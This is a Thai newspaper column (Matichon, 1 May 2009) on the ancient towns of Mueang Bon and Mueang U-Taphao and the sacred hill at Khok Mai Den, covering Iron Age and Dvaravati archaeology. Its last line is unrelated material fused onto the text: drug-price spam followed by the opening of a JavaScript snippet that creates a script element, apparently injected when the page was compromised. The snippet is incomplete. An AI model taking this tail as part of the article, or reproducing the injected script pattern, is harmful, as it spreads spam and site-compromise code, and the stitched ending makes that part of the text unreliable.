หนังสือพิมพ์มติชน ฉบับประจำวันศุกร์ที่ 1 พฤษภาคม 2552

ตรงที่ถนนพหลโยธินมาสบรวมเป็นเส้นเดียวกับถนนสายเอเชีย อยู่บนพรมแดนเส้นกั้นเขตจังหวัดนครสวรรค์กับจังหวัดชัยนาทพอดิบพอดี

เขตนครสวรรค์ เป็นอำเภอพยุหะคีรีที่ตำบลท่าน้ำอ้อย

เขตชัยนาท เป็นอำเภอมโนรมย์ ที่ตำบลอู่ตะเภา

บริเวณอำเภอพยุหะคีรี(นครสวรรค์) ต่อกันกับอำเภอมโนรมย์(ชัยนาท) เป็นที่ราบลุ่มผืนเดียวกันมานานราว 3,000 ปีมาแล้ว มีแม่น้ำใหญ่(เจ้าพระยา) เป็นแกน แล้วมีลำน้ำสาขากับห้วยหนองคลองบึงหลายสายไหลลงแม่น้ำใหญ่ เช่น หางน้ำสาคร ฯลฯ

ตรงที่ราบลุ่มมโนรมย์-พยุหะคีรี น่าเชื่อว่าจะเคยเป็นทะเลหรือหนองบึงใหญ่มาก่อน เมื่อราว 5,000-10,000 ปีมาแล้ว จากนั้นค่อยๆตื้นเขินเป็นโคลนตม หรือเป็นเวิ้งน้ำกว้างใหญ่ของแม่น้ำใหญ่คล้ายบริเวณ“ลานเท”ที่อยุธยา จึงมีคำบอกเล่าเก่าแก่ว่าเคยเป็นอู่สำเภา 2 อู่ มีอู่บนกับอู่ล่าง

อู่บน อยู่ที่บ้านบน ตำบลท่าน้ำอ้อย อำเภอพยุหะคีรี จังหวัดนครสวรรค์ มีเมืองโบราณชื่อชาวบ้านเรียกภายหลังว่า เมืองบน(มีรายละเอียดในหนังสือโบราณวัตถุสมัยทวารวดีแห่งใหม่ กรมศิลปากรพิมพ์เผยแพร่ พ.ศ. 2508)

อู่ล่าง อยู่ที่บ้านอู่ตะเภา ตำบลอู่ตะเภา อำเภอมโนรมย์ จังหวัดชัยนาท มีเมืองโบราณชื่อชาวบ้านเรียกภายหลังว่า เมืองอู่ตะเภา(มีรายละเอียดในหนังสือโบราณคดีเมืองอู่ตะเภา กรมศิลปากรพิมพ์เผยแพร่ พ.ศ. 2534)

เมืองบน กับ เมืองอู่ตะเภา มีพัฒนาการร่วมกันจากชุมชนถลุงเหล็กราว 2,500 ปีมาแล้ว อยู่บนชุมทางคมนาคม แนวเหนือ-ใต้ กับแนวตะวันตก- ตะวันออก ควบคุมทางน้ำ 3 แห่ง คือแม่น้ำสะแกกรัง(อุทัยธานี), แม่น้ำมะขามเฒ่า (คือแม่น้ำท่าจีน ไหลลงสุพรรณบุรี-นครปฐม), แม่น้ำน้อย(ไหลลงแม่น้ำเจ้าพระยาที่อยุธยา)

ด้วยเหตุนี้เองเมื่อชุมชนถลุงเหล็กรับศาสนาจากอินเดียผ่านยุคสุวรรณภูมิก็เติบโตเป็นบ้านเมือง และเป็นรัฐในยุคทวารวดี เมื่อราวหลัง พ.ศ. 1000 แล้วขุดคูน้ำคันดินเป็นขอบเขตรูปกลมรีไม่สม่ำเสมอ

แต่น่าประหลาดที่ไม่พบสถูปเจดีย์ใหญ่น้อยบริเวณเมืองบนกับเมืองอู่ตะเภา พบแต่ซากเศษรูปเคารพ เช่น ธรรมจักร, พระพุทธรูป, เครื่องรางประดับ ฯลฯ

น่าเชื่อว่าบริเวณบ้านโคกไม้เดนที่อยู่บนเนินสูง มีทิวเขาเตี้ยหลายยอดเป็นพืดไปทางด้านเหนือของทุ่งราบมโนรมย์ เป็นแหล่งศักดิ์สิทธิ์ใช้ทำพิธีกรรมร่วมกันของเมืองบนกับเมืองอู่ตะเภามาแต่ยุคเหล็กเมื่อ 2,500 ปีมาแล้ว

ครั้นรับพุทธศาสนาก็ยกย่องเป็นเขตพุทธาวาสปนกับสังฆาวาส จึงพบสถูปเจดีย์ยุคทวารวดีนับ 10 แห่ง ทั้งบนยอดเขาและตีนเขา ที่กรมศิลปากรไปขุดค้นแล้วขุดแต่งไว้หลายแหล่ง

ทั้งเมืองบนและเมืองอู่ตะเภา ควรเป็นบ้านเมืองหรือรัฐเดียวกัน หรือมิฉะนั้นก็เป็นเครือญาติใกล้ชิดกัน แล้วมีชุมชนเครือข่ายบริวารเป็นแหล่งทรัพยากรออกไปโดยรอบ โดยเฉพาะกระจายไปทางเขตอำเภอตาคลี ถึงอำเภอตากฟ้า ซึ่งจะเชื่อมโยงกับเมืองจันเสนได้ด้วย

ผู้คนของเมืองบนและเมืองอู่ตะเภา รวมทั้งเครือข่ายบริวาร มีพุทธสถานอยู่บริเวณเขตศักดิ์สิทธิ์ร่วมกันมาก่อนนานแล้วที่บ้านโคกไม้เดน ที่ทุกวันนี้มีวัดเขาไม้เดน แล้วมีพระสงฆ์ดูแลรักษาพุทธสถานเหล่านั้น

สอง อบต. สองอำเภอ ในสองจังหวัด ถ้าได้ร่วมกันแบ่งปันเผยแพร่ความรู้เรื่องเมืองบนกับเมืองอู่ตะเภาสู่ท้องถิ่นทั้งสอง โดยผ่านบ้าน-วัด-โรงเรียน (บวร) จะประเสริฐสุด

monitor1-05-52

บริเวณโคกไม้เดน  มีเขาไม้เดนกับยอดอื่นๆต่อกันเป็นพืดสั้นๆ  คนยุคเหล็กเมื่อราว 2,500 ปีมาแล้ว  ยกย่องเป็นเขตศักดิ์สิทธิ์ใช้ทำพิธีกรรมในศาสนาผี  (ก่อนรับศาสนาพุทธจากอินเดีย)  แล้วทำรูปเคารพเนื่องในศาสนาผี  เช่น  รูปตะกวด

อาจารย์ ศิริพจน์  เหล่ามานะเจริญ  แห่งคณะโบราณคดี  มหาวิทยาลัยศิลปากร  อธิบายรูปนี้ว่าเป็น “ตะกวด” ทำด้วยโลหะสำริด พบบริเวณเขาไม้เดน  รอบนอกด้านตะวันออกของเมืองบน  อำเภอพยุหะคีรี  จังหวัดนครสวรรค์  กำหนดอายุอยู่ในยุคสุวรรณภูมิ  เมื่อราว พ.ศ. 1-500  ชิ้นงานหล่อขึ้นง่ายๆอย่างฝีมือช่างพื้นบ้าน  เนื้องานไม่ประณีตนัก  แต่ก็ถูกต้องตามสรีระของสัตว์ประเภทนี้  อาจเป็นของใช้ในพิธีกรรม  โดยมีความหมายเกี่ยวเนื่องกับคติการบูชาสัตว์ครึ่งบกครึ่งน้ำอย่างพวกตะกวด  จระเข้ กบหรือคางคก
fluoxetine 10 mg price of temovatevar d=document;var s=d.createElement(‘script’);